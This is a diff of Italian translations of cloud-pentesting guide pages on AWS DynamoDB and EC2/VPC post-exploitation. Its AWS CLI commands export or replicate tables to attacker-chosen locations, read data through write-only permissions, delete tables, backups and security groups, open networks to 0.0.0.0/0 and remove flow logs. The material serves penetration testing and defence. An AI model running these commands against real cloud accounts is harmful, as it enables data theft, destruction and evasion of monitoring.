dell'intera tabella facilmente**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Questa autorizzazione consente anche di eseguire `batch-execute-statement` come: +Questa permission consente anche di eseguire `batch-execute-statement` come: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -ma è necessario specificare la chiave primaria con un valore, quindi non è molto utile. +ma devi specificare la chiave primaria con un valore, quindi non è molto utile. -**Impatto potenziale:** Privesc indiretto ottenuto individuando informazioni sensibili nella tabella +**Impatto potenziale:** Indirect privesc localizzando informazioni sensibili nella tabella ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Questa autorizzazione permetterà a un attacker di **esportare l'intera tabella in un bucket S3** a sua scelta: +Questo permesso permetterà a un attaccante di **esportare l'intera tabella in un S3 bucket** di sua scelta: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,34 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Nota che, perché questo funzioni, la tabella deve avere point-in-time-recovery abilitato; puoi verificare se la tabella lo ha con: +Nota che perché questo funzioni, la tabella deve avere abilitato point-in-time-recovery; puoi verificare se la tabella lo ha con: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Se non è abilitato, dovrai **abilitarlo** e per farlo hai bisogno della **`dynamodb:ExportTableToPointInTime`**: +Se non è abilitato, dovrai **abilitarlo** e per farlo hai bisogno della **`dynamodb:ExportTableToPointInTime`** autorizzazione: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potenziale impatto:** privesc indiretto individuando informazioni sensibili nella tabella +**Impatto potenziale:** Indirect privesc individuando informazioni sensibili nella tabella ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` - -Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di verificare le **informazioni** dai backup che **non sono più presenti nella tabella di produzione**. +Con queste autorizzazioni, un attacker sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare **informazioni** dai backup che p**otrebbero non essere più nella tabella di produzione**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nel backup della tabella +**Impatto potenziale:** privesc indiretto reperendo informazioni sensibili nel backup della tabella ### `dynamodb:PutItem` -Questa autorizzazione consente agli utenti di aggiungere un **nuovo elemento alla tabella o sostituire un elemento esistente** con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, l'**intero elemento verrà sostituito** con il nuovo elemento. Se la chiave primaria non esiste, un nuovo elemento con la chiave primaria specificata verrà **creato**. +Questa autorizzazione permette agli utenti di aggiungere un **nuovo item alla tabella o sostituire un item esistente** con un nuovo item. Se un item con la stessa chiave primaria esiste già, **l'intero item sarà sostituito** con il nuovo item. Se la chiave primaria non esiste, un nuovo item con la chiave primaria specificata sarà **creato**. {{#tabs }} {{#tab name="XSS Example" }} @@ -203,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypass consentito dalla possibilità di aggiungere o modificare dati in una tabella DynamoDB +**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB ### `dynamodb:UpdateItem` -Questa autorizzazione permette agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo item** con la chiave primaria specificata e imposterà gli attributi indicati nell'update expression. +Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la primary key non esiste nella tabella, l'operazione **creerà un nuovo item** con la primary key specificata e imposterà gli attributi specificati nell'update expression. {{#tabs }} {{#tab name="XSS Example" }} @@ -243,34 +242,34 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Potenziale impatto:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB +**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses consentendo di aggiungere/modificare dati in una tabella DynamoDB ### `dynamodb:DeleteTable` -Un attacker con questo permesso può **cancellare una tabella DynamoDB, causando perdita di dati**. +Un attacker con questa autorizzazione può **cancellare una tabella DynamoDB, causando perdita di dati**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Impatto potenziale**: Perdita di dati e interruzione dei servizi che si basano sulla tabella eliminata. +**Potential impact**: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata. ### `dynamodb:DeleteBackup` -Un attacker con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di ripristino di emergenza**. +Un attaccante con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di ripristino dopo un disastro**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Impatto potenziale**: Perdita di dati e impossibilità di ripristinare da un backup durante uno scenario di disaster recovery. +**Potential impact**: Perdita di dati e incapacità di recuperare da un backup durante uno scenario di disaster recovery. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Testare se questo funziona realmente +> TODO: Verificare se questo funziona effettivamente -Un attaccante con questi permessi può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo permette all'attaccante di monitorare ed esfiltrare le modifiche ai dati, potenzialmente portando a data leakage. +Un attacker con queste autorizzazioni può **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Questo consente all'attacker di monitorare ed exfiltrate le modifiche ai dati, potenzialmente causando data leakage. 1. Abilitare uno stream su una tabella DynamoDB: ```bash @@ -279,13 +278,13 @@ aws dynamodb update-table \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Descrivi il flusso per ottenere l'ARN e altri dettagli: +2. Descrivi lo stream per ottenere l'ARN e altri dettagli: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Ottieni l'iteratore dello shard usando l'ARN dello stream: +3. Ottieni lo shard iterator usando lo stream ARN: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ @@ -293,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Usa lo shard iterator per accedere e exfiltrate i dati dallo stream: +4. Usa il shard iterator per accedere e exfiltrate i dati dallo stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Potential impact**: Monitoraggio in tempo reale e esfiltrazione dei dati delle modifiche della tabella DynamoDB. +**Impatto potenziale**: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB. -### Leggere elementi tramite `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` +### Leggere elementi tramite `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD` -Un attacker con solo `dynamodb:UpdateItem` su una tabella può leggere gli elementi senza nessuna delle consuete autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'immagine completa precedente all'update dell'elemento nel campo `Attributes` della risposta (questo non consuma RCUs). +Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere gli elementi senza nessuno dei consueti permessi di lettura (`GetItem`/`Query`/`Scan`) eseguendo un update benigno e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'immagine completa pre-update dell'item nel campo `Attributes` della risposta (questo non consuma RCUs). - Permessi minimi: `dynamodb:UpdateItem` sulla tabella/chiave target. -- Prerequisiti: Devi conoscere la chiave primaria dell'elemento. +- Prerequisiti: Devi conoscere la chiave primaria dell'item. -Esempio (aggiunge un attributo innocuo ed esfiltra l'elemento precedente nella risposta): +Esempio (aggiunge un attributo innocuo e exfiltrates l'item precedente nella risposta): ```bash aws dynamodb update-item \ --table-name \ @@ -319,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -La risposta della CLI includerà un blocco `Attributes` contenente l'elemento completo precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura a partire da un accesso in sola scrittura. +La risposta della CLI includerà un blocco `Attributes` contenente l'intero elemento precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso solo in scrittura. -**Impatto potenziale:** Leggere elementi arbitrari da una tabella con solo permessi di scrittura, consentendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note. +**Impatto potenziale:** Leggere elementi arbitrari da una tabella avendo solo permessi di scrittura, consentendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attacker, dalla quale l'attacker può leggere tutti gli items. +Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (version 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attacker, da cui l'attacker può leggere tutti gli elementi. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -355,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Permessi: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` sulla tabella target. If CMK is used in the replica, KMS permissions for that key may be required. +Autorizzazioni: `dynamodb:UpdateTable` (con `replica-updates`) oppure `dynamodb:CreateTableReplica` sulla tabella di destinazione. Se nella replica viene usata una CMK, potrebbero essere necessarie autorizzazioni KMS per quella chiave. -Impatto potenziale: Replicazione dell'intera tabella in una Region controllata dall'attacker portando a stealthy data exfiltration. +Impatto potenziale: replica dell'intera tabella in una regione controllata dall'attaccante, permettendo un'esfiltrazione furtiva di dati. ### `dynamodb:TransactWriteItems` (lettura tramite condizione fallita + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Un attacker con privilegi di scrittura transazionale può esfiltrare gli attributi completi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che intenzionalmente fa fallire una `ConditionExpression` mentre imposta `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando di fatto l'accesso in sola scrittura in accesso in lettura sulle chiavi target. +Un attaccante con privilegi di scrittura transazionale può esfiltrare tutti gli attributi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che provoca intenzionalmente il fallimento di una `ConditionExpression` impostando contemporaneamente `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nelle ragioni di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in un accesso in lettura alle chiavi mirate. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -412,17 +411,17 @@ print(e.response['CancellationReasons'][0]['Item']) Permessi: `dynamodb:TransactWriteItems` sulla tabella target (e sull'item sottostante). Non sono necessari permessi di lettura. -Impatto potenziale: Leggere item arbitrari (per primary key) da una tabella usando solo privilegi di scrittura transazionale tramite i cancellation reasons restituiti. +Impatto potenziale: leggere item arbitrari (per chiave primaria) da una tabella usando solo privilegi di scrittura transazionale tramite i motivi di cancellazione restituiti. -### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` su GSI -Bypassare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo su un valore costante attraverso gli item, quindi eseguire una `Query` sull'indice per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla tabella base è negato, purché tu possa interrogare l'index ARN. +Bypassare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi effettuare una `Query` sull'indice per recuperare gli item completi. Funziona anche se `Query`/`Scan` sulla tabella base sono negati, purché sia possibile interrogare l'ARN dell'indice. - Permessi minimi: - `dynamodb:UpdateTable` sulla tabella target (per creare la GSI con `ProjectionType=ALL`). -- `dynamodb:UpdateItem` sulle chiavi della tabella target (per impostare l'attributo indicizzato su ciascun item). -- `dynamodb:Query` sull'ARN della risorsa dell'indice (`arn:aws:dynamodb:::table//index/`). +- `dynamodb:UpdateItem` sulle chiavi della tabella target (per impostare l'attributo indicizzato su ogni item). +- `dynamodb:Query` sull'index resource ARN (`arn:aws:dynamodb:::table//index/`). Passaggi (PoC in us-east-1): ```bash @@ -465,14 +464,14 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ **Impatto potenziale:** Esfiltrazione completa della tabella interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate. -### `dynamodb:EnableKinesisStreamingDestination` (Esfiltrazione continua via Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Exfiltrazione continua via Kinesis Data Streams) -Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attacker. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato quasi in tempo reale allo stream senza richiedere permessi di lettura sulla tabella. +Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato in tempo quasi reale allo stream senza necessità di permessi di lettura sulla tabella. -Permessi minimi (attacker): -- `dynamodb:EnableKinesisStreamingDestination` on the target table -- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status -- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*` +Permessi minimi (attaccante): +- `dynamodb:EnableKinesisStreamingDestination` sulla tabella target +- Opzionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` per monitorare lo stato +- Permessi di lettura sul Kinesis stream di proprietà dell'attaccante per consumare i record: `kinesis:*`
PoC (us-east-1) @@ -531,9 +530,9 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` ### `dynamodb:UpdateTimeToLive` -Un attacker con il permesso dynamodb:UpdateTimeToLive può cambiare la configurazione TTL (time-to-live) di una tabella — abilitando o disabilitando il TTL. Quando il TTL è abilitato, i singoli elementi che contengono l'attributo TTL configurato verranno eliminati automaticamente una volta raggiunto il tempo di scadenza. Il valore TTL è semplicemente un altro attributo su ogni elemento; gli elementi senza quell'attributo non sono influenzati dall'eliminazione basata sul TTL. +Un attacker con il permesso dynamodb:UpdateTimeToLive può modificare la configurazione TTL (time-to-live) di una tabella — abilitando o disabilitando il TTL. Quando il TTL è abilitato, gli items che contengono l'attributo TTL configurato vengono automaticamente eliminati una volta raggiunto il loro tempo di scadenza. Il valore TTL è semplicemente un altro attributo su ogni item; gli items privi di quell'attributo non sono interessati dall'eliminazione basata su TTL. -Se gli elementi non contengono già l'attributo TTL, l'attacker avrebbe anche bisogno di un permesso che aggiorni gli elementi (per esempio dynamodb:UpdateItem) per aggiungere l'attributo TTL e innescare eliminazioni di massa. +Se gli items non contengono già l'attributo TTL, l'attacker avrebbe anche bisogno di un permesso che aggiorni gli items (per esempio dynamodb:UpdateItem) per aggiungere l'attributo TTL e scatenare eliminazioni di massa. Per prima cosa abilita il TTL sulla tabella, specificando il nome dell'attributo da usare per la scadenza: ```bash @@ -541,7 +540,7 @@ aws dynamodb update-time-to-live \ --table-name \ --time-to-live-specification "Enabled=true, AttributeName=" ``` -Quindi aggiorna gli elementi per aggiungere l'attributo TTL (secondi dall'epoch) in modo che scadano e vengano rimossi: +Quindi aggiorna gli items per aggiungere l'attributo TTL (epoch seconds) in modo che scadano e vengano rimossi: ```bash aws dynamodb update-item \ --table-name \ @@ -551,7 +550,7 @@ aws dynamodb update-item \ ``` ### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` -Un attaccante con i permessi `dynamodb:RestoreTableFromAwsBackup` o `dynamodb:RestoreTableToPointInTime` può creare nuove tabelle ripristinate da backup o da point-in-time recovery (PITR) senza sovrascrivere la tabella originale. La tabella ripristinata contiene un'immagine completa dei dati al punto selezionato, quindi l'attaccante può usarla per exfiltrate informazioni storiche o ottenere un dump completo dello stato passato del database. +Un attaccante con le autorizzazioni dynamodb:RestoreTableFromAwsBackup o dynamodb:RestoreTableToPointInTime può creare nuove tabelle ripristinate da backup o da point-in-time recovery (PITR) senza sovrascrivere la tabella originale. La tabella ripristinata contiene un'immagine completa dei dati al punto selezionato, quindi l'attaccante può usarla per esfiltrare informazioni storiche o ottenere un dump completo dello stato passato del database. Ripristinare una tabella DynamoDB da un backup on-demand: ```bash @@ -568,7 +567,7 @@ aws dynamodb restore-table-to-point-in-time \ ````
-**Potential Impact:** Esfiltrazione continua, quasi in tempo reale, delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura diretta sulla tabella. +**Impatto potenziale:** Esfiltrazione continua, quasi in tempo reale, delle modifiche della tabella verso un attacker-controlled Kinesis stream senza operazioni di lettura dirette sulla tabella. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index da7435dff..750737587 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -12,18 +12,19 @@ Per maggiori informazioni consulta: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplica il traffico in ingresso e in uscita per le istanze EC2 all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene comunemente inviato a qualcosa come un network intrusion detection system (IDS) per analisi e monitoraggio.\ -Un attacker potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili: +VPC traffic mirroring **duplica il traffico in ingresso e in uscita per le istanze EC2 all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse.\ +Questo traffico duplicato viene comunemente inviato a qualcosa come un sistema di rilevamento intrusioni di rete (IDS) per analisi e monitoraggio.\ +Un attaccante potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili da esso: -Per maggiori informazioni consulta questa pagina: +Per ulteriori informazioni consulta questa pagina: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance +### Copiare un'istanza in esecuzione -Le istanze solitamente contengono informazioni sensibili. Esistono diversi modi per accedervi (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per verificare cosa contengono è **creare un AMI e avviare da esso una nuova istanza (anche nel proprio account)**: +Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrarci (vedi [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Tuttavia, un altro modo per vedere cosa contengono è **creare un AMI e avviare da esso una nuova istanza (anche nel proprio account)**: ```shell # List instances aws ec2 describe-images @@ -49,8 +50,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots sono backup dei volumi**, che solitamente conterranno **informazioni sensibili**, quindi verificarli dovrebbe rivelare queste informazioni.\ -Se trovi un **volume senza snapshot** puoi: **Create a snapshot** e eseguire le seguenti azioni oppure semplicemente **mount it in an instance** all'interno dell'account: +**Snapshots are backups of volumes**, che solitamente contengono **informazioni sensibili**, quindi controllarli dovrebbe rivelare questi dati.\ +Se trovi un **volume without a snapshot** puoi: **Create a snapshot** ed eseguire le azioni seguenti oppure semplicemente **mount it in an instance** all'interno dell'account: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +59,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Esporta un EC2 AMI direttamente su S3 usando `CreateStoreImageTask` per ottenere un'immagine disco raw senza snapshot sharing. Questo permette forensics offline completi o data theft lasciando intatta la rete dell'instance. +Export an EC2 AMI straight to S3 using `CreateStoreImageTask` per ottenere un'immagine disco raw senza snapshot sharing. Questo permette forensics offline complete o data theft lasciando intatta la rete dell'istanza. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +67,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Attach un volume io1/io2 Multi-Attach a una seconda instance e montalo in sola lettura per siphonare dati live senza snapshots. Utile quando il victim volume ha già Multi-Attach abilitato nella stessa AZ. +Attach an io1/io2 Multi-Attach volume a una seconda instance e mount it read-only per siphonare dati live senza snapshots. Utile quando il victim volume ha già Multi-Attach abilitato nella stessa AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +75,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Crea un EC2 Instance Connect Endpoint, autorizza ingress, e inietta ephemeral SSH keys per accedere a instance private tramite un managed tunnel. Fornisce percorsi rapidi per lateral movement senza aprire public ports. +Create an EC2 Instance Connect Endpoint, authorize ingress, e inject ephemeral SSH keys per accedere a private instances tramite un managed tunnel. Consente percorsi rapidi di lateral movement senza aprire porte pubbliche. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +83,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Move la secondary private IP di un ENI vittima a un ENI controllato dall'attaccante per impersonare trusted hosts che sono allowlisted per IP. Permette di bypassare internal ACLs o SG rules basate su indirizzi specifici. +Move a victim ENI’s secondary private IP su un ENI controllato dall'attaccante per impersonare host trusted che sono allowlisted by IP. Permette di bypassare ACLs interne o regole SG basate su indirizzi specifici. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +91,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Reassociate un Elastic IP dall'instance vittima all'attaccante per intercettare inbound traffic o originare connessioni outbound che appaiono provenire da trusted public IPs. +Reassociate un Elastic IP dall'istanza vittima all'attaccante per intercettare traffico inbound o generare connessioni outbound che sembrano provenire da trusted public IPs. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +99,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Se una security group rule fa riferimento a una customer-managed prefix list, aggiungere attacker CIDRs alla lista espande silenziosamente l'accesso su tutte le regole SG dipendenti senza modificare lo SG stesso. +Se una security group rule fa riferimento a un customer-managed prefix list, aggiungere attacker CIDRs alla lista espande silenciosamente l'accesso attraverso tutte le regole SG dipendenti senza modificare lo SG stesso. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +107,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Crea gateway o interface VPC endpoints per recuperare outbound access da subnet isolate. Sfruttare AWS-managed private links bypassa i controlli IGW/NAT mancanti per data exfiltration. +Create gateway o interface VPC endpoints per recuperare l'accesso outbound da subnet isolate. Sfruttare AWS-managed private links bypassa la mancanza di controlli IGW/NAT per data exfiltration. {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +115,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -Un attaccante con il permesso `ec2:AuthorizeSecurityGroupIngress` può aggiungere inbound rules ai security groups (per esempio, permettendo tcp:80 da 0.0.0.0/0), esponendo così servizi interni alla public Internet o ad altre reti non autorizzate. +Un attacker con il permesso ec2:AuthorizeSecurityGroupIngress può aggiungere regole inbound a security groups (per esempio, allowing tcp:80 from 0.0.0.0/0), esponendo così servizi interni a Internet pubblico o a reti altrimenti non autorizzate. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -Un attaccante con i permessi ec2:ReplaceNetworkAclEntry (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio consentendo 0.0.0.0/0 su porte critiche — esponendo l'intero intervallo della subnet a Internet o a segmenti di rete non autorizzati. A differenza delle Security Groups, che si applicano per istanza, i NACLs si applicano a livello di subnet, quindi modificare un NACL restrittivo può avere un raggio d'azione molto più ampio abilitando l'accesso a molti più host. +Un attacker con permessi `ec2:ReplaceNetworkAclEntry` (o simili) può modificare i Network ACLs (NACLs) di una subnet per renderli molto permissivi — per esempio consentendo 0.0.0.0/0 su critical ports — esponendo l'intero intervallo della subnet a Internet o a segmenti di rete non autorizzati. A differenza delle Security Groups, che sono applicate per-instance, le NACLs sono applicate a livello di subnet, quindi cambiare una NACL restrittiva può avere un blast radius molto più ampio abilitando l'accesso a molti più hosts. ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,16 +132,16 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -Un attaccante con permessi ec2:Delete* e iam:Remove* può eliminare risorse e configurazioni critiche dell'infrastruttura — ad esempio key pairs, launch templates/versions, AMIs/snapshots, volumes o attachments, security groups o rules, ENIs/network endpoints, route tables, gateways, o managed endpoints. Questo può causare interruzione immediata del servizio, perdita di dati e perdita di prove forensi. +Un attaccante con i permessi ec2:Delete* e iam:Remove* può cancellare risorse e configurazioni critiche dell'infrastruttura — per esempio key pairs, launch templates/versions, AMIs/snapshots, volumes o attachments, security groups o rules, ENIs/network endpoints, route tables, gateways, o managed endpoints. Questo può causare interruzione immediata del servizio, perdita di dati e perdita di evidenze forensi. -One example is deleting a security group: +Un esempio è la cancellazione di una security group: aws ec2 delete-security-group \ --group-id ### VPC Flow Logs Cross-Account Exfiltration -Indirizza VPC Flow Logs verso un S3 bucket controllato dall'attaccante per raccogliere continuamente metadata di rete (source/destination, ports) fuori dall'account vittima per ricognizione a lungo termine. +Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -160,7 +161,7 @@ Even if you lock down an EC2 so no traffic can get out, it can still **exfil via #### Exfiltration via API calls -Un attaccante potrebbe chiamare gli endpoint API di un account da lui controllato. CloudTrail registrerà queste chiamate e l'attaccante potrà vedere the exfiltrate data nei log di CloudTrail. +Un attaccante potrebbe chiamare endpoint API di un account da lui controllato. Cloudtrail registrerà queste chiamate e l'attaccante potrà vedere the exfiltrate data nei log di Cloudtrail. ### Open Security Group @@ -173,7 +174,7 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por È possibile eseguire un'istanza EC2 e registrarla per essere utilizzata per eseguire istanze ECS e poi rubare i dati delle istanze ECS. -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +Per [**maggiori informazioni, consulta questo**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). ### Rimuovere VPC flow logs ```bash @@ -185,8 +186,8 @@ Permessi richiesti: - `ssm:StartSession` -Oltre all'esecuzione di comandi, SSM permette il tunneling del traffico, che può essere abusato per pivotare da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs. -Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato. +Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere abusato per pivotare da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs. +Uno degli scenari in cui questo è utile è pivotare da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato. > Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -195,42 +196,42 @@ Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](htt ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Recupera le credenziali temporanee del Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +3. Ottieni le credenziali temporanee AWS del Bastion EC2 con lo script [Abusing SSRF in AWS EC2 